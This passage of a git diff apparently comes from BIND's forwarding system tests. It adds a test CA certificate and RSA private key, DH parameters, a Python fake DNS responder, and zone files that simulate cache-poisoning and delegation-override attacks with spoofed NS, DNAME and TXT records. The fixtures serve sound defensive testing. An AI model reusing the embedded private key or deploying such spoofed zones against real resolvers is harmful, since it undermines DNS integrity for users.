+YoGCZCQs6bq40EAv5v3p+qoUg28mFsG3s239Sj+Poanme73BYKFr/wKTzAiTnh4M
+ozEpIHTlN0bYQRDHEfTY50N8Tbz7/Tk6eY7CC/4h3xbC/BCzm9rMgNNkVm8Jr/Zz
+i8tk5P7FTIVOw+2kCgpT9r6NXnpCT82wIaSO5EX+KPZNKVjbSrRwej8L22Q+I6WZ
+RxF7LGaDqXknCUVyrEr6NW8fZNSrzwmQknFK0QKAsauwGewBxqcxK0vcOwkArZoS
+yunNVL2WI6MULkBYM1gvcAXJxijxPtSUE9sJs2N4b1dy6B8ob3y2JXZOqxHJpdfK
+MgBfXhSuU2UTNyvSmDzUR3RAz/8brVk1wdHTpv8CAwEAAaNsMGowKAYDVR0RBCEw
+H4IXc3J2MDQuY3J0MDEuZXhhbXBsZS5uaWyHBAo1AAQwHQYDVR0OBBYEFMqDBvs+
+V1Dd/b8AWmDibZhxzSzyMB8GA1UdIwQYMBaAFHyJ6Fzr5R9ySATFj/uSCJz1YCY5
+MA0GCSqGSIb3DQEBCwUAA4IBgQBvJMW6jmJdWFClJaH8QfwYy3wRAgqtfxMqIAeS
+WoLAkp01QLDJhVojJvtVt5l6GKeutG6iKfglcPo+v7DskddGVVWr/SKmwbRQkifq
+2KFx7BSEaQrJ3j/BY5QXXnjnhTSAv8NY8U37DLQuK5xmFR/j1jrBlbH18pzcmcvV
+OTVqv7z0gZ18TMF2+E0mq/TwULL5QWVs350WV+PcfYUKFF8g6gheqzx1rvZ+VWI7
+TErHSE8k8njmmVJ2h26zCHzWTkFyj+3xWhog58LNoG8EbPFxhyEASSnB+70Ip1E0
+u+Dx91k9uJ7GSAb+5uowi2WP0jHF1k6oIn78hQU95Hw4VAdGzJSOpdNMCXFuYGPk
+ao6qwoHfMTcqlrNTNqJ2RFkYM4FsJISjYWhjogK9/bKc2w/MpkRUxi0T+5aAY+fp
+LjY8ADQ+Yl3+WZXLstDMmmnOAMxZw/d5Ok+V6WTJrSiW4oDdWUUpbO0Nbk5QaW7v
+UDJOXK9jOVeQCA+5TrqyJK67eDk=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/private/CA.key b/bin/tests/system/forward/CA/private/CA.key
new file mode 100644
index 0000000000..2d5419d89a
--- /dev/null
+++ b/bin/tests/system/forward/CA/private/CA.key
@@ -0,0 +1,39 @@
+-----BEGIN RSA PRIVATE KEY-----
+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
+-----END RSA PRIVATE KEY-----
diff --git a/bin/tests/system/forward/CA/serial b/bin/tests/system/forward/CA/serial
new file mode 100644
index 0000000000..2e4ab4f074
--- /dev/null
+++ b/bin/tests/system/forward/CA/serial
@@ -0,0 +1 @@
+CCC118082632E18E
diff --git a/bin/tests/system/forward/ans11/ans.py b/bin/tests/system/forward/ans11/ans.py
new file mode 100644
index 0000000000..00b5895f76
--- /dev/null
+++ b/bin/tests/system/forward/ans11/ans.py
@@ -0,0 +1,272 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from __future__ import print_function
+import os
+import sys
+import signal
+import socket
+import select
+import struct
+from datetime import datetime, timedelta
+import time
+import functools
+
+import dns, dns.message, dns.query, dns.flags
+from dns.rdatatype import *
+from dns.rdataclass import *
+from dns.rcode import *
+from dns.name import *
+
+
+# Log query to file
+def logquery(type, qname):
+    with open("qlog", "a") as f:
+        f.write("%s %s\n", type, qname)
+
+
+# Create a UDP listener
+def udp_listen(ip, port, is_ipv6=False):
+    try:
+        udp = socket.socket(
+            socket.AF_INET6 if is_ipv6 else socket.AF_INET, socket.SOCK_DGRAM
+        )
+        try:
+            udp.bind((ip, port))
+        except:
+            udp.close()
+            udp = None
+    except:
+        udp = None
+
+    if udp is None and not is_ipv6:
+        raise socket.error("Can not create an IPv4 UDP listener")
+
+    return udp
+
+
+# Create a TCP listener
+def tcp_listen(ip, port, is_ipv6=False):
+    try:
+        tcp = socket.socket(
+            socket.AF_INET6 if is_ipv6 else socket.AF_INET, socket.SOCK_STREAM
+        )
+        try:
+            tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            tcp.bind((ip, port))
+            tcp.listen(100)
+        except:
+            tcp.close()
+            tcp = None
+    except:
+        tcp = None
+
+    if tcp is None and not is_ipv6:
+        raise socket.error("Can not create an IPv4 TCP listener")
+
+    return tcp
+
+
+############################################################################
+# Control channel - send "1" or "0" to enable or disable the "silent" mode.
+############################################################################
+silent = False
+
+
+def ctrl_channel(msg):
+    global silent
+
+    msg = msg.splitlines().pop(0)
+    print("Received control message: %s" % msg)
+
+    if len(msg) != 1:
+        return
+
+    if silent:
+        if msg == b"0":
+            silent = False
+            print("Silent mode was disabled")
+    else:
+        if msg == b"1":
+            silent = True
+            print("Silent mode was enabled")
+
+
+############################################################################
+# Respond to a DNS query.
+############################################################################
+def create_response(msg):
+    m = dns.message.from_wire(msg)
+    qname = m.question[0].name.to_text()
+    rrtype = m.question[0].rdtype
+    typename = dns.rdatatype.to_text(rrtype)
+
+    with open("query.log", "a") as f:
+        f.write("%s %s\n" % (typename, qname))
+        print("%s %s" % (typename, qname), end=" ")
+
+    r = dns.message.make_response(m)
+    r.set_rcode(NOERROR)
+    if rrtype == A:
+        tld = qname.split(".")[-2] + "."
+        ns = "local." + tld
+        r.answer.append(dns.rrset.from_text(qname, 300, IN, A, "10.53.0.11"))
+        r.answer.append(dns.rrset.from_text(tld, 300, IN, NS, "local." + tld))
+        r.additional.append(dns.rrset.from_text(ns, 300, IN, A, "10.53.0.11"))
+    elif rrtype == NS:
+        r.answer.append(dns.rrset.from_text(qname, 300, IN, NS, "."))
+    elif rrtype == SOA:
+        r.answer.append(dns.rrset.from_text(qname, 300, IN, SOA, ". . 0 0 0 0 0"))
+    else:
+        r.authority.append(dns.rrset.from_text(qname, 300, IN, SOA, ". . 0 0 0 0 0"))
+    r.flags |= dns.flags.AA
+    return r
+
+
+def sigterm(signum, frame):
+    print("Shutting down now...")
+    os.remove("ans.pid")
+    running = False
+    sys.exit(0)
+
+
+############################################################################
+# Main
+#
+# Set up responder and control channel, open the pid file, and start
+# the main loop, listening for queries on the query channel or commands
+# on the control channel and acting on them.
+############################################################################
+ip4 = "10.53.0.11"
+ip6 = "fd92:7065:b8e:ffff::11"
+
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
+
+try:
+    ctrlport = int(os.environ["EXTRAPORT1"])
+except:
+    ctrlport = 5300
+
+ctrl4_tcp = tcp_listen(ip4, ctrlport)
+query4_udp = udp_listen(ip4, port)
+query6_udp = udp_listen(ip6, port, is_ipv6=True)
+query4_tcp = tcp_listen(ip4, port)
+query6_tcp = tcp_listen(ip6, port, is_ipv6=True)
+
+havev6 = query6_udp is not None and query6_tcp is not None
+
+signal.signal(signal.SIGTERM, sigterm)
+
+f = open("ans.pid", "w")
+pid = os.getpid()
+print(pid, file=f)
+f.close()
+
+running = True
+
+print("Listening on %s port %d" % (ip4, ctrlport))
+print("Listening on %s port %d" % (ip4, port))
+if havev6:
+    print("Listening on %s port %d" % (ip6, port))
+
+print("Ctrl-c to quit")
+
+if havev6:
+    input = [ctrl4_tcp, query4_udp, query6_udp, query4_tcp, query6_tcp]
+else:
+    input = [ctrl4_tcp, query4_udp, query4_tcp]
+
+hung_conns = []
+
+while running:
+    try:
+        inputready, outputready, exceptready = select.select(input, [], [])
+    except select.error as e:
+        break
+    except socket.error as e:
+        break
+    except KeyboardInterrupt:
+        break
+
+    for s in inputready:
+        if s == ctrl4_tcp:
+            print("Control channel connected")
+            conn = None
+            try:
+                # Handle control channel input
+                conn, addr = s.accept()
+                msg = conn.recv(1)
+                if msg:
+                    ctrl_channel(msg)
+                conn.close()
+            except s.timeout:
+                pass
+            if conn:
+                conn.close()
+        elif s == query4_tcp or s == query6_tcp:
+            print(
+                "TCP query received on %s" % (ip4 if s == query4_tcp else ip6), end=" "
+            )
+            conn = None
+            try:
+                # Handle incoming queries
+                conn, addr = s.accept()
+                if not silent:
+                    # get TCP message length
+                    msg = conn.recv(2)
+                    if len(msg) != 2:
+                        print("NO RESPONSE (can not read the message length)")
+                        conn.close()
+                        continue
+                    length = struct.unpack(">H", msg[:2])[0]
+                    msg = conn.recv(length)
+                    if len(msg) != length:
+                        print("NO RESPONSE (can not read the message)")
+                        conn.close()
+                        continue
+                    rsp = create_response(msg)
+                    if rsp:
+                        print(dns.rcode.to_text(rsp.rcode()))
+                        wire = rsp.to_wire()
+                        conn.send(struct.pack(">H", len(wire)))
+                        conn.send(wire)
+                    else:
+                        print("NO RESPONSE (can not create a response)")
+                else:
+                    # Do not respond and hang the connection.
+                    print("NO RESPONSE (silent mode)")
+                    hung_conns.append(conn)
+                    continue
+            except socket.error as e:
+                print("NO RESPONSE (error: %s)" % str(e))
+            if conn:
+                conn.close()
+        elif s == query4_udp or s == query6_udp:
+            print(
+                "UDP query received on %s" % (ip4 if s == query4_udp else ip6), end=" "
+            )
+            # Handle incoming queries
+            msg = s.recvfrom(65535)
+            if not silent:
+                rsp = create_response(msg[0])
+                if rsp:
+                    print(dns.rcode.to_text(rsp.rcode()))
+                    s.sendto(rsp.to_wire(), msg[1])
+                else:
+                    print("NO RESPONSE (can not create a response)")
+            else:
+                # Do not respond.
+                print("NO RESPONSE (silent mode)")
+    if not running:
+        break
diff --git a/bin/tests/system/forward/ans6/ans.pl b/bin/tests/system/forward/ans6/ans.pl
index c4b4898431..6102e4a828 100644
--- a/bin/tests/system/forward/ans6/ans.pl
+++ b/bin/tests/system/forward/ans6/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/forward/clean.sh b/bin/tests/system/forward/clean.sh
index bc04eadb2c..936dbc4d79 100644
--- a/bin/tests/system/forward/clean.sh
+++ b/bin/tests/system/forward/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -10,12 +14,18 @@
 #
 # Clean up after forward tests.
 #
-rm -f ./dig.out.*
 rm -f ./*/named.conf
 rm -f ./*/named.memstats
-rm -f ./*/named.run ./*/named.run.prev
-rm -f ./ns*/named.lock
+rm -f ./*/named.run ./*/named.run.prev ./*/ans.run
+rm -f ./*/named_dump.db
+rm -f ./ans*/query.log
+rm -f ./dig.out.*
 rm -f ./ns*/managed-keys.bind*
-rm -f ./ns1/root.db ./ns1/root.db.signed
+rm -f ./ns*/named.lock
 rm -f ./ns*/trusted.conf
 rm -f ./ns1/K* ./ns1/dsset-*
+rm -f ./ns1/root.db ./ns1/root.db.signed
+rm -f ns2/named-tls.conf
+rm -f ns2/options-tls.conf
+rm -f ns4/named-tls.conf
+rm -f ns4/options-tls.conf
diff --git a/bin/tests/system/forward/dhparam3072.pem b/bin/tests/system/forward/dhparam3072.pem
new file mode 100644
index 0000000000..9c2e0aa42b
--- /dev/null
+++ b/bin/tests/system/forward/dhparam3072.pem
@@ -0,0 +1,11 @@
+-----BEGIN DH PARAMETERS-----
+MIIBiAKCAYEA5D/Oioe+G+EMf/9RVxmcV4rZAtqZpVTFHcX0ZulvdiQGCQmopm6K
+3+0uoU2J6WVMjhna5nHD2NO9miRDI/jIxX9g9k6PedSB4o3fSTtkAnGtUbB8S+Ab
+EHtWfd7FTES8P1n16HN7BfPXVbP8zTcK+jO63KdQoxueYoETcrw0Myi9Lm8ri8os
+O4oQ+XAH7GzZ60bcYV9jge0XIRUGVnYZDjWMlnwMvZyjLivxKXTC9HPNA6FF1/0H
+0LPhsfjdoLNsVHFzfQz7QELMfHbTd0C8y0UMDQw9FqUp0esHZ5gsTlqnDHp2ZHoR
+JDfNl4yVO5Gv4HiFJ0NSdggefhESU3FRAOhMmUkctOCxk5hyPqGMsvofOajY2MBp
+eCffrKuAU6/dGUeq8inwrZlAMIZ20WyskHmbHnc4DXo2Uo6xSZo3xyEq1ofXXwTZ
+vPw4e12so3RJAT2a8UsHf7DG1tH+9ke7HCAJQWxUizRFRsMi1Nl/7ikS4f3zgIbX
+GKz9+uk5eS6jAgEC
+-----END DH PARAMETERS-----
diff --git a/bin/tests/system/forward/ns1/diditwork.net.db b/bin/tests/system/forward/ns1/diditwork.net.db
new file mode 100644
index 0000000000..fd9a46eb0c
--- /dev/null
+++ b/bin/tests/system/forward/ns1/diditwork.net.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns root (
+				2000082401 ; serial
+				1800       ; refresh (30 minutes)
+				1800       ; retry (30 minutes)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+			TXT	"recursed"
+ns			A	10.53.0.1
diff --git a/bin/tests/system/forward/ns1/example.db b/bin/tests/system/forward/ns1/example.db
index ebbc2aedc1..aac1bef0c3 100644
--- a/bin/tests/system/forward/ns1/example.db
+++ b/bin/tests/system/forward/ns1/example.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300	; 5 minutes
 @			IN SOA	ns root (
 				2000082401 ; serial
diff --git a/bin/tests/system/forward/ns1/named.conf.in b/bin/tests/system/forward/ns1/named.conf.in
index 28d1b33785..eff6e84cad 100644
--- a/bin/tests/system/forward/ns1/named.conf.in
+++ b/bin/tests/system/forward/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,12 +13,15 @@
 
 options {
 	query-source address 10.53.0.1;
+	query-source-v6 address fd92:7065:b8e:ffff::1;
 	notify-source 10.53.0.1;
+	notify-source-v6 fd92:7065:b8e:ffff::1;
 	transfer-source 10.53.0.1;
+	transfer-source-v6 fd92:7065:b8e:ffff::1;
 	port @PORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
+	listen-on-v6 { fd92:7065:b8e:ffff::1; };
 	recursion no;
 	dnssec-validation no;
 };
@@ -60,3 +65,33 @@ zone "sld.tld" {
 zone "example6" {
 	type forward;
 };
+
+zone "example8." {
+	type primary;
+	file "example.db";
+};
+
+zone "example9." {
+	type primary;
+	file "example.db";
+};
+
+zone "diditwork.net" {
+	type primary;
+	file "diditwork.net.db";
+};
+
+zone "spoofed.net" {
+	type primary;
+	file "spoofed.net.db";
+};
+
+zone "sub.local.net" {
+	type primary;
+	file "sub.local.net.db";
+};
+
+zone "net.example.lll" {
+	type master;
+	file "net.example.lll";
+};
diff --git a/bin/tests/system/forward/ns1/net.example.lll b/bin/tests/system/forward/ns1/net.example.lll
new file mode 100644
index 0000000000..ba0804fd75
--- /dev/null
+++ b/bin/tests/system/forward/ns1/net.example.lll
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+net.example.lll.		SOA	. . 0 0 0 0 0
+net.example.lll.		NS	attackSecureDomain.net.
+didItWork.net.example.lll.	TXT	"if you can see this record the attack worked"
diff --git a/bin/tests/system/forward/ns1/root.db.in b/bin/tests/system/forward/ns1/root.db.in
index d70bd96e62..95ffac3835 100644
--- a/bin/tests/system/forward/ns1/root.db.in
+++ b/bin/tests/system/forward/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/forward/ns1/sign.sh b/bin/tests/system/forward/ns1/sign.sh
index 2c97e23650..0888c5f536 100644
--- a/bin/tests/system/forward/ns1/sign.sh
+++ b/bin/tests/system/forward/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/forward/ns1/sld.tld.db b/bin/tests/system/forward/ns1/sld.tld.db
index 5fab37aae7..f0d4b05893 100644
--- a/bin/tests/system/forward/ns1/sld.tld.db
+++ b/bin/tests/system/forward/ns1/sld.tld.db
@@ -1,3 +1,14 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
 $TTL 300	; 5 minutes
 @			IN SOA	ns root (
 				2000082401 ; serial
diff --git a/bin/tests/system/forward/ns1/spoofed.net.db b/bin/tests/system/forward/ns1/spoofed.net.db
new file mode 100644
index 0000000000..eedc46f5c0
--- /dev/null
+++ b/bin/tests/system/forward/ns1/spoofed.net.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns root (
+				2000082401 ; serial
+				1800       ; refresh (30 minutes)
+				1800       ; retry (30 minutes)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.1
+sub			TXT	"recursed"
diff --git a/bin/tests/system/forward/ns1/sub.local.net.db b/bin/tests/system/forward/ns1/sub.local.net.db
new file mode 100644
index 0000000000..fd9a46eb0c
--- /dev/null
+++ b/bin/tests/system/forward/ns1/sub.local.net.db
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	ns root (
+				2000082401 ; serial
+				1800       ; refresh (30 minutes)
+				1800       ; retry (30 minutes)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+			TXT	"recursed"
+ns			A	10.53.0.1
diff --git a/bin/tests/system/forward/ns10/fakenet.zone b/bin/tests/system/forward/ns10/fakenet.zone
new file mode 100644
index 0000000000..b655a32459
--- /dev/null
+++ b/bin/tests/system/forward/ns10/fakenet.zone
@@ -0,0 +1,17 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+net.			SOA	. . 0 0 0 0 0
+net.			NS	attackSecureDomain.net.
+attackSecureDomain.net.	A	10.53.0.10
+didItWork.net.		TXT	"if you can see this record the attack worked"
+ns.spoofed.net.		A	10.53.0.10
diff --git a/bin/tests/system/forward/ns10/fakenet2.zone b/bin/tests/system/forward/ns10/fakenet2.zone
new file mode 100644
index 0000000000..cd1e6e9944
--- /dev/null
+++ b/bin/tests/system/forward/ns10/fakenet2.zone
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+net2.			SOA	. . 0 0 0 0 0
+net2.			NS	attackSecureDomain.net.
+net2.			DNAME	net.example.lll.
diff --git a/bin/tests/system/forward/ns10/fakesublocalnet.zone b/bin/tests/system/forward/ns10/fakesublocalnet.zone
new file mode 100644
index 0000000000..160b5332b2
--- /dev/null
+++ b/bin/tests/system/forward/ns10/fakesublocalnet.zone
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 86400
+sub.local.net.		SOA	. . 0 0 0 0 0
+sub.local.net.		NS	ns.spoofed.net.
+sub.local.net.		TXT	"if you see this attacker overrode local delegation"
diff --git a/bin/tests/system/forward/ns10/fakesublocaltld.zone b/bin/tests/system/forward/ns10/fakesublocaltld.zone
new file mode 100644
index 0000000000..f78cbc77f6
--- /dev/null
+++ b/bin/tests/system/forward/ns10/fakesublocaltld.zone
@@ -0,0 +1,15 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+sub.local.tld.		3600	IN	SOA	. . 0 0 0 0 0
+sub.local.tld.		3600	IN	NS	ns.sub.local.tld.
+sub.local.tld.		3600	IN	TXT	bad
+ns.sub.local.tld.	3600	IN	A	10.53.0.8
diff --git a/bin/tests/system/forward/ns10/named.conf.in b/bin/tests/system/forward/ns10/named.conf.in
new file mode 100644
index 0000000000..8148d9e871
--- /dev/null
+++ b/bin/tests/system/forward/ns10/named.conf.in
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
